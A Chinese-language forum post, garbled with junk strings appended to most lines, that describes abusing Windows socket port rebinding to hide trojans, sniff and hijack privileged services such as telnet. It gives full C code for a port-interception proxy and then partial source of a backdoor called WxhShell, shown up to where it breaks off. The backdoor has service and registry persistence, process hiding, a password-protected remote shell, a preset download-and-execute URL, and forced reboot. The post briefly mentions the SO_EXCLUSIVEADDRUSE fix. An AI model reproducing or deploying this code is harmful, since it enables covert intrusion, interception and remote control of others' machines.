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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 85+w\KuEY  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OL623jQX  
XZ|\|(6Cc  
  saddr.sin_family = AF_INET; =Unu>p}2V  
=AeOkie  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); j8ac8J,}c  
.3xf!E*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); i6E~]&~.v  
1xsB@D  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gy/bA  
"T6s;'k  
  这意味着什么?意味着可以进行如下的攻击: WhDNt+uk)  
lq)[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 prVqV-S6TY  
N  gOc2I  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) GUsJF;;V  
8|rlP  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 R78lV -};Q  
}9L;|ul6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6yMaW eT  
aOW$H:b  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (vbI4&r  
.Kk'N  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 LLwC*)#  
!A"-9OS2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <GoZ>  
X1%_a.=VF  
  #include r7  *'s  
  #include HO39>:c  
  #include Oa7jLz'i  
  #include    aX35^K /  
  DWORD WINAPI ClientThread(LPVOID lpParam);   < #7j~<  
  int main() ] U[4r9V  
  { wmFS+F4`2  
  WORD wVersionRequested; 3F9AnS  
  DWORD ret; r1|;V~ a$~  
  WSADATA wsaData; [u/Wh+  
  BOOL val; +v|]RgyW)  
  SOCKADDR_IN saddr; AM4 :xz  
  SOCKADDR_IN scaddr; ')j@OO3  
  int err; 5x' ^.$K >  
  SOCKET s; {8J+ Y}  
  SOCKET sc; =' #yG(h  
  int caddsize; }&IOBYHVDo  
  HANDLE mt; rFYw6&;vOi  
  DWORD tid;   |(rTz!!-  
  wVersionRequested = MAKEWORD( 2, 2 ); -Deqlaf(  
  err = WSAStartup( wVersionRequested, &wsaData ); q!}O+(kt  
  if ( err != 0 ) {  :O{ ZZ  
  printf("error!WSAStartup failed!\n"); Wj31mV  
  return -1; O `a4 ")R  
  } B}Sl1)E  
  saddr.sin_family = AF_INET; FFID<L f/2  
   ( T2 \   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M`.v/UQn  
:HDU \|{^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); K1^x+I7%U[  
  saddr.sin_port = htons(23); mEDi'!YE"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BFMINq>  
  {  .'^Pg  
  printf("error!socket failed!\n"); ;Fm7!@u^0  
  return -1; E=8$*YUW(g  
  } wx)Yl1 C  
  val = TRUE; [f\TnXq24  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 53X5&Bwh  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j_HwR9^fd,  
  { 84u %_4/  
  printf("error!setsockopt failed!\n"); o-%DL*^5  
  return -1; KcNh3CR  
  } Y+UM>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fs wQ*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *S=zJyAO  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zQ~8(E]Rf  
lq\/E`fc`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) eNw9"X}g  
  { 0*}%v:uN9  
  ret=GetLastError(); \1b!I)T9  
  printf("error!bind failed!\n"); bClMM  
  return -1; "OO"Ab{t  
  } a}MSA/K(  
  listen(s,2); *FrlzIAom  
  while(1) S,~DA3  
  { i?1g{JW  
  caddsize = sizeof(scaddr); UuvI?D  
  //接受连接请求 sX$EdIq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); aL%amL6CX  
  if(sc!=INVALID_SOCKET) # ^~[\8v>  
  { S.X*)CBB  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); TwZASn]o  
  if(mt==NULL) W4~:3 Sk  
  { yC]X&1,:z  
  printf("Thread Creat Failed!\n"); 46cd5SLK  
  break; pk0C x  
  } l3C%`[MB  
  } O>j_xW]V  
  CloseHandle(mt); PtT=HvP!k  
  } b;XUv4~V  
  closesocket(s); ``p( )^zT  
  WSACleanup(); #A '|O\RGP  
  return 0; s]z-d!G  
  }   &58+-jzW  
  DWORD WINAPI ClientThread(LPVOID lpParam) xF4>G0  
  { xbv  
  SOCKET ss = (SOCKET)lpParam; |3A/Og  
  SOCKET sc; NY`$D}Bi  
  unsigned char buf[4096]; |/R)FT#i  
  SOCKADDR_IN saddr; ] _WB^  
  long num; D+ )R_  
  DWORD val; }bxW@(bs  
  DWORD ret; (!@ Q\P  
  //如果是隐藏端口应用的话,可以在此处加一些判断 oS/cS)N20  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   o"a~  
  saddr.sin_family = AF_INET; V{j>09u  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); D/ SM/  
  saddr.sin_port = htons(23); e)WpqaI  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5g{F-  
  { Wp[R$/uT  
  printf("error!socket failed!\n"); u ::2c  
  return -1; "|6#n34  
  } 5zqlK-$  
  val = 100; EN =oA P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mrzrQ@sN  
  { RvQl{aL  
  ret = GetLastError(); $H9+>Z0(  
  return -1; wm$1LZ8o-`  
  } FM)Es&p&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s:6pPJL  
  { B|~tW21  
  ret = GetLastError(); ~e ,D`Lv  
  return -1; T w!]N%E  
  } >0W:snNK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) o<hT/ P  
  { u7oHqo`  
  printf("error!socket connect failed!\n"); dsx'l0q 'i  
  closesocket(sc); VZ`L-P$AF  
  closesocket(ss); I?l%RdGW  
  return -1; Jv|uI1V  
  } F3aOKV^  
  while(1) a5v}w7vL  
  { TfD]`v`]   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 B}%B4&Ij  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =Mb1)^m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bvf}r ,`Q7  
  num = recv(ss,buf,4096,0); )jh4HMvmC  
  if(num>0) &: i|;^^2  
  send(sc,buf,num,0); "gcHcboU5$  
  else if(num==0) S+mZ.aFS0z  
  break; ~i4h.ZLj  
  num = recv(sc,buf,4096,0); B>hC8^.S|w  
  if(num>0) (o!v,=# 6{  
  send(ss,buf,num,0); SD"'  
  else if(num==0) x*G-?Xza)  
  break; #bqc}h9  
  } s<i& q {r  
  closesocket(ss); ]}3AP!:  
  closesocket(sc); %6\e_y%  
  return 0 ; TTS.wBpR,  
  } \ 2$nFr?0  
pZS0;T]W,  
03WLVP@  
========================================================== 6*] g)m  
"k)}qI{  
下边附上一个代码,,WXhSHELL 3;wAm/Z:Q  
_I$\O5  
========================================================== )575JY `6K  
i`]-rM%J#  
#include "stdafx.h" 5J d7<AO_  
`D0>L '  
#include <stdio.h> wA+QUN3#n  
#include <string.h> )ZU)$dJ>V  
#include <windows.h> ~i)m(65:  
#include <winsock2.h> LciSQ R!  
#include <winsvc.h> FT*OF 3  
#include <urlmon.h> {XT3M{`rWL  
q5jLK)  
#pragma comment (lib, "Ws2_32.lib") K,uTO7Mk[  
#pragma comment (lib, "urlmon.lib") 1o&] =(  
X @;o<2^  
#define MAX_USER   100 // 最大客户端连接数 [D8u.8q  
#define BUF_SOCK   200 // sock buffer V'kCd4  
#define KEY_BUFF   255 // 输入 buffer [I4:R_\  
< r6e23  
#define REBOOT     0   // 重启 v!\\aG/  
#define SHUTDOWN   1   // 关机 rTBrl[&,q'  
;.Lf9XJ   
#define DEF_PORT   5000 // 监听端口 {`2R<O  
@8IY J{=  
#define REG_LEN     16   // 注册表键长度 WD wW`  
#define SVC_LEN     80   // NT服务名长度 OQ[E-%v1 R  
XS$5TNI  
// 从dll定义API }( x|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u"rK5'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W/z\j/Rgc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S >E|A %  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tTWeOAF  
Dj=OUo[[d  
// wxhshell配置信息 .rfufx9Sw  
struct WSCFG { kbqG)  
  int ws_port;         // 监听端口 %+PWcCmn  
  char ws_passstr[REG_LEN]; // 口令 ]SNA2?q  
  int ws_autoins;       // 安装标记, 1=yes 0=no )XB31^  
  char ws_regname[REG_LEN]; // 注册表键名 O]ZP- WG  
  char ws_svcname[REG_LEN]; // 服务名 ' 0iXx   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nWTo$*>W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HOWm""IkB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S@AHI!"h=V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )Fc` rY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5O.dRp7d J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $=>(7 =l_  
P4"Pb\o*  
}; B7:8%r/  
*gu4%  
// default Wxhshell configuration )@-v6;7b0  
struct WSCFG wscfg={DEF_PORT, _%g}d/v}pO  
    "xuhuanlingzhe", Ka[@-XH  
    1, (TufvHC  
    "Wxhshell", \Y)pm9!  
    "Wxhshell", oY!nM%z/  
            "WxhShell Service", 44H#8kV  
    "Wrsky Windows CmdShell Service", 13oR-Stj|  
    "Please Input Your Password: ", nC^|83  
  1, V^ O dTM  
  "http://www.wrsky.com/wxhshell.exe", owClnp9K  
  "Wxhshell.exe" vn n4  
    }; Q>\y%&df  
HGuY-f  
// 消息定义模块 A;e[-5@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +xqPyR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; OiB*,TWV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \Mk;Y  
char *msg_ws_ext="\n\rExit."; e:9CD-  
char *msg_ws_end="\n\rQuit."; }}a<!L,{  
char *msg_ws_boot="\n\rReboot..."; *9"L?S(X#  
char *msg_ws_poff="\n\rShutdown..."; =^. f)  
char *msg_ws_down="\n\rSave to "; >QwZt  
K`!q1 g`  
char *msg_ws_err="\n\rErr!"; (2H e]M\  
char *msg_ws_ok="\n\rOK!"; (mq 7{ ;7y  
[ m*=Q  
char ExeFile[MAX_PATH]; 5pNbO[  
int nUser = 0; qaBjV6loy  
HANDLE handles[MAX_USER]; ei 1(A  
int OsIsNt; JTcK\t8  
!"u) `I2  
SERVICE_STATUS       serviceStatus; Lp\89tB>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vkE[Ur>  
8i!~w 7z  
// 函数声明 V1R=`  
int Install(void); "65@8xt==  
int Uninstall(void); 8fpaY{]  
int DownloadFile(char *sURL, SOCKET wsh); ?>lvV+3^`  
int Boot(int flag); $M\[^g(q  
void HideProc(void); 6x\+j  
int GetOsVer(void); pm<zw-  
int Wxhshell(SOCKET wsl); {;4AdZk  
void TalkWithClient(void *cs); EK:!.Fl  
int CmdShell(SOCKET sock); J-g#zs  
int StartFromService(void); p#}38`  
int StartWxhshell(LPSTR lpCmdLine); 1-@.[VI  
}G$rr.G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jREj]V>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )i&9)_ro  
=~YmM<L  
// 数据结构和表定义 $rf4h]&<  
SERVICE_TABLE_ENTRY DispatchTable[] = '>(R'g42n  
{ 84[T!cDk  
{wscfg.ws_svcname, NTServiceMain}, t5h]]TOz  
{NULL, NULL} ['pk/h  
}; X<s']C9c  
2-821Sf#h  
// 自我安装 \(_FGa4j  
int Install(void) <Vp7G%"'W  
{ 3=xb%Upw  
  char svExeFile[MAX_PATH]; IC}?oXs5G  
  HKEY key; c }>:>^  
  strcpy(svExeFile,ExeFile); ADRjCk}I  
VHX&#vm*  
// 如果是win9x系统,修改注册表设为自启动 BsVUEF,N  
if(!OsIsNt) {  "m3:HS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {H eIY2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5,!,mor$]  
  RegCloseKey(key); m3]|I(]`Xe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )5P*O5kQ -  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @L|X('i  
  RegCloseKey(key); k))*Sg  
  return 0; 'j=7'aX>K  
    } TDg#O!DUF  
  } }~dXz?{p8  
} WAiEINQ^)  
else { yvo~'k#c  
oo7&.HWf  
// 如果是NT以上系统,安装为系统服务 Ee>P*7*jB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dwks"5l  
if (schSCManager!=0) fAWjk&9  
{ We3*WsX\  
  SC_HANDLE schService = CreateService Y?hC/ 6$7  
  ( cA ;'~[  
  schSCManager, pRmnS;*z&  
  wscfg.ws_svcname, [6qa"Ie  
  wscfg.ws_svcdisp, qOz,iR?}  
  SERVICE_ALL_ACCESS, W;*rSK|(Sc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &NV[)6!  
  SERVICE_AUTO_START, CtVY;eG  
  SERVICE_ERROR_NORMAL, u4B,|_MK  
  svExeFile, VtF^; f  
  NULL, Ay<'Z6`  
  NULL, 35Nwx<  
  NULL, cs`/^2Vf"#  
  NULL, u8 14ZN}  
  NULL zLXmjrC  
  ); YKLh$  
  if (schService!=0) qEKTSet?  
  { TCp!4-~,  
  CloseServiceHandle(schService); a>`\^>G4  
  CloseServiceHandle(schSCManager); YE&"IH]lF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); joDnjz=  
  strcat(svExeFile,wscfg.ws_svcname); } gyJaMA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @~fg[)7M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vJ>A >R CB  
  RegCloseKey(key); )eGGA6G  
  return 0; )H$Ik)/N  
    } qAm$yfYs`  
  } JY0t Hs  
  CloseServiceHandle(schSCManager); lDV8<  
} :w(J=0Lt  
} _~_04p  
cO<]%L0  
return 1; ]>/YU*\  
} 8+ eZU<\B(  
'T7JXV5  
// 自我卸载 VP\HPSp  
int Uninstall(void) &d`Umm]  
{ |8&AsQd  
  HKEY key; ~w Dmt  
;|w &n  
if(!OsIsNt) { - t4"BD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  ?1r@r  
  RegDeleteValue(key,wscfg.ws_regname); MjE.pb  
  RegCloseKey(key); %H>vMR-,~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nSsVONHfa  
  RegDeleteValue(key,wscfg.ws_regname); PTA;a 0A  
  RegCloseKey(key); aRq7x~j )\  
  return 0; "Na9Xea  
  } V|}9d:&O  
} @S?.`o  
} r4JXbh6Tt  
else { T =3te|fv  
p1v:X?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nen6!bw4  
if (schSCManager!=0) \bQ|O7s  
{ % %c0UaV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r{)d?Ho=  
  if (schService!=0) 10}oaL S  
  { )oTEB#J  
  if(DeleteService(schService)!=0) { x~s>  
  CloseServiceHandle(schService); - c<<A.X  
  CloseServiceHandle(schSCManager); ="@W)"r  
  return 0; 1?(BWX)7  
  } Qu!\Cx@  
  CloseServiceHandle(schService); <tf4j3lwH  
  } {9;~xxTo  
  CloseServiceHandle(schSCManager); {,IWjt &>  
} ?MKf=! w  
} P)1@HDN==  
s%GiM  
return 1; 68FxM#xR  
} 6xdu}l=%  
"1%<IqpU+  
// 从指定url下载文件 rctn0*MP  
int DownloadFile(char *sURL, SOCKET wsh) lx$Y-Tb^F  
{ \^Y#"zXo1  
  HRESULT hr; oCy52Bm.!  
char seps[]= "/"; 6 $ IXER  
char *token; (&x~pv"+  
char *file; Z;%  
char myURL[MAX_PATH]; t)cG_+rJ  
char myFILE[MAX_PATH]; n/$BdFH  
7S] h:q%%  
strcpy(myURL,sURL); nyQ FS  
  token=strtok(myURL,seps); *!Am6\+  
  while(token!=NULL) yp@mxI@1  
  { $k'f)E  
    file=token; ,;/4E  
  token=strtok(NULL,seps); EyBdL  
  } 15yIPv+5  
T d;e\s/]  
GetCurrentDirectory(MAX_PATH,myFILE); r0\bi6;s/  
strcat(myFILE, "\\"); ++&F5'?g  
strcat(myFILE, file); LWVO%@)w  
  send(wsh,myFILE,strlen(myFILE),0); n:wn(BC3  
send(wsh,"...",3,0); T"QY@#E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l06 q1M 3  
  if(hr==S_OK) ` t6lnO  
return 0; v/m`rc]e  
else '')G6-c/  
return 1; LrPDpTd  
.z[+sy_  
} g!~j Wn?A  
gKYn*  
// 系统电源模块 uXhp+q\  
int Boot(int flag) +B8Ut{l  
{ vnN_csJ#^  
  HANDLE hToken; Bs##3{ylu  
  TOKEN_PRIVILEGES tkp; AP@xZ%;K  
N.64aL|1  
  if(OsIsNt) { 3\4Cg()  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c'G\AbUVjE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]6:5<NW  
    tkp.PrivilegeCount = 1; PU'v o4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OW-+23)sj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F)gL=6h  
if(flag==REBOOT) { Qb(CH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Rw/G =zV@2  
  return 0; Ys<wWfW  
} QlXy9-oJ"  
else { Rp@u.C <  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0I#<-9&d-  
  return 0; 0(i`~g5  
} [;?^DAnK2  
  } I7uYsjh@u  
  else { }s)Z:6;(,q  
if(flag==REBOOT) { 4U6{E#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RtIc:ym  
  return 0; 9723f1&Vd  
} {>+$u"*  
else { >^Y 9p~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PN'8"8`{  
  return 0; NGze: gPmO  
} +$UfP(XmH  
} 'P~*cr ?A  
4;*V^\',9  
return 1; mD=?C  
} .Z^g 7 *s  
B}MJ?uvA  
// win9x进程隐藏模块 sRMzU  
void HideProc(void) YLCwo]\+>  
{ {[s<\<~B*  
cYp}$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v4v+;[a%  
  if ( hKernel != NULL ) \;?\@vo<  
  { t{ 7l.>kf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b~Ruhi[E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]Yj>~k:K  
    FreeLibrary(hKernel); t]` 2f3UO  
  } q@\_q!  
sbs"26IE  
return; xv*mK1e  
} 3jI.!xD`  
S :}s|![p  
// 获取操作系统版本 !;xE7w  
int GetOsVer(void) }Sh-4:-D  
{ ?k3b\E3  
  OSVERSIONINFO winfo; x$Dv&4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); */\.-L{h  
  GetVersionEx(&winfo); 869`jA &7"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c !;wp,c  
  return 1; T9$U./69-L  
  else kDz.{Ih  
  return 0; UP`q6] P  
} $YC~02{  
$e_ps~{7$  
// 客户端句柄模块 Wp]EaYt2D  
int Wxhshell(SOCKET wsl) g|zK%tR_P  
{ c[YjGx  
  SOCKET wsh; MFwO9"<A  
  struct sockaddr_in client; *%A}x   
  DWORD myID; rK|*hcy  
'6S%9ahE  
  while(nUser<MAX_USER) lhPGE_\  
{ )2.)3w1_4  
  int nSize=sizeof(client); :&yDqoQKJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u$\a3yi  
  if(wsh==INVALID_SOCKET) return 1; %Fft R1"  
{#hVD4$b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y0IK,W'&?  
if(handles[nUser]==0) -s"0/)HD  
  closesocket(wsh); p538r[f<  
else p^X^1X7  
  nUser++; U^_D|$6  
  } NFyMY#\]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nSS=%,?  
}ug xN0  
  return 0; D>kD1B1  
} >.DC!QV  
e7k%6'@  
// 关闭 socket {fz$Z!8-  
void CloseIt(SOCKET wsh) ^v :Zo  
{ OJ3UE(,I=  
closesocket(wsh); @d&H]5  
nUser--; nk@atK,38^  
ExitThread(0); Pe$6s:|NS  
} +5X DF  
,8VU&?`<}  
// 客户端请求句柄 6STp>@Ch]"  
void TalkWithClient(void *cs) t;O1IMF  
{ f_\_9o"l  
r>|-2}{N/  
  SOCKET wsh=(SOCKET)cs; dULS^i@@  
  char pwd[SVC_LEN]; aC^$*qN-)  
  char cmd[KEY_BUFF]; f8n V=AQ  
char chr[1]; 6"QEJ  
int i,j; 9M-K]0S(  
wk $,k  
  while (nUser < MAX_USER) { K+d2m9C=  
sYn[uPefj  
if(wscfg.ws_passstr) { pv# 2]v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PHr a+NY#A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Qn+:/ zA;  
  //ZeroMemory(pwd,KEY_BUFF); ;JTt2qQKo  
      i=0; !:0v{ZQ  
  while(i<SVC_LEN) { 8q^o.+9  
RFfIF]~3  
  // 设置超时 }31Z X  
  fd_set FdRead; )K]pnH|  
  struct timeval TimeOut; #h'@5 l  
  FD_ZERO(&FdRead); JK)qZ=  
  FD_SET(wsh,&FdRead); \8v91g91f  
  TimeOut.tv_sec=8; WeJ@x L  
  TimeOut.tv_usec=0; ?6N3tk-2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !a-b6Aa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q mQfLz7&x  
Ciihsm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p2O~>97t1  
  pwd=chr[0]; !@L=;1,  
  if(chr[0]==0xd || chr[0]==0xa) { #I0pYA2m  
  pwd=0; 4^Rd{'mt  
  break; (K{5fC  
  } WZewPn>#q  
  i++; $:bih4 @>  
    } gPXa>C  
7{M>!} rY  
  // 如果是非法用户,关闭 socket :0~QRc-u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M"Y0jQ(  
} /b[2lTC-e  
1y5Ex:JVZT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ngy=!g?Hk=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;)hw%Z]Jj$  
dQ:cYNm  
while(1) { =JO^XwUOo  
@F5f"8!.\  
  ZeroMemory(cmd,KEY_BUFF); X_TiqV  
4 J^Q]-Z  
      // 自动支持客户端 telnet标准   Oe!6){OG)  
  j=0; grom\  
  while(j<KEY_BUFF) { IApT'QNM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J7$_VP  
  cmd[j]=chr[0]; ;`j/D@H  
  if(chr[0]==0xa || chr[0]==0xd) { v/Pw9j!r;m  
  cmd[j]=0; %V_-%/3Z  
  break; 963aW*r  
  } &X>7n~@0  
  j++; x?,9_va]  
    } 1 Y/$,Oa5  
onei4c>@  
  // 下载文件 <=um1P3X  
  if(strstr(cmd,"http://")) { E1V^}dn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); IyUdZ,ba  
  if(DownloadFile(cmd,wsh)) kI\tqNJi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Snw3`|Y~<  
  else Hh[Tw&J4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t%VDRZo7  
  } GF<[}  
  else { %5'6Tj  
d5m`Bm-{  
    switch(cmd[0]) { DC4C$AyW r  
  7'p8 a<x  
  // 帮助 i775:j~zx0  
  case '?': { H=c`&N7E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #J\rv'  
    break; p3951-D  
  } |i %2%V#  
  // 安装 qa'gM@]  
  case 'i': { :<S<f%  
    if(Install()) Y}G_Z#-!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2b@tj 5  
    else @tUoD>f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8F5|EpB9M  
    break; D)b}f`  
    } [:;# ]?  
  // 卸载 M!m?#xz'c  
  case 'r': { %/9;ZV  
    if(Uninstall()) 7 h=QW5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tenf:Hm/k  
    else $hrIO+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {<$b Aj  
    break; [j,txe?n  
    } ?? qq:`s  
  // 显示 wxhshell 所在路径 u_O# @eOc  
  case 'p': { Zl/< w(f_  
    char svExeFile[MAX_PATH]; J1ON,&[J  
    strcpy(svExeFile,"\n\r"); uBnoQ~Qd[z  
      strcat(svExeFile,ExeFile); L1m{]>{-  
        send(wsh,svExeFile,strlen(svExeFile),0); ?}p:J{  
    break; 9/o vKpY  
    } N#xG3zZl|N  
  // 重启 afEF]i  
  case 'b': { "j<bA8$Vw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O~Wt600{E  
    if(Boot(REBOOT)) |AhF7Mj*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Q(g(p&  
    else { ( <*e  
    closesocket(wsh); KP"%Rm`XN  
    ExitThread(0); i{c@S:&@^  
    } v}JD2.O+  
    break; "B7`'jz  
    } x*XH]&V  
  // 关机 U/{6% Qy  
  case 'd': { VR{+f7:}  
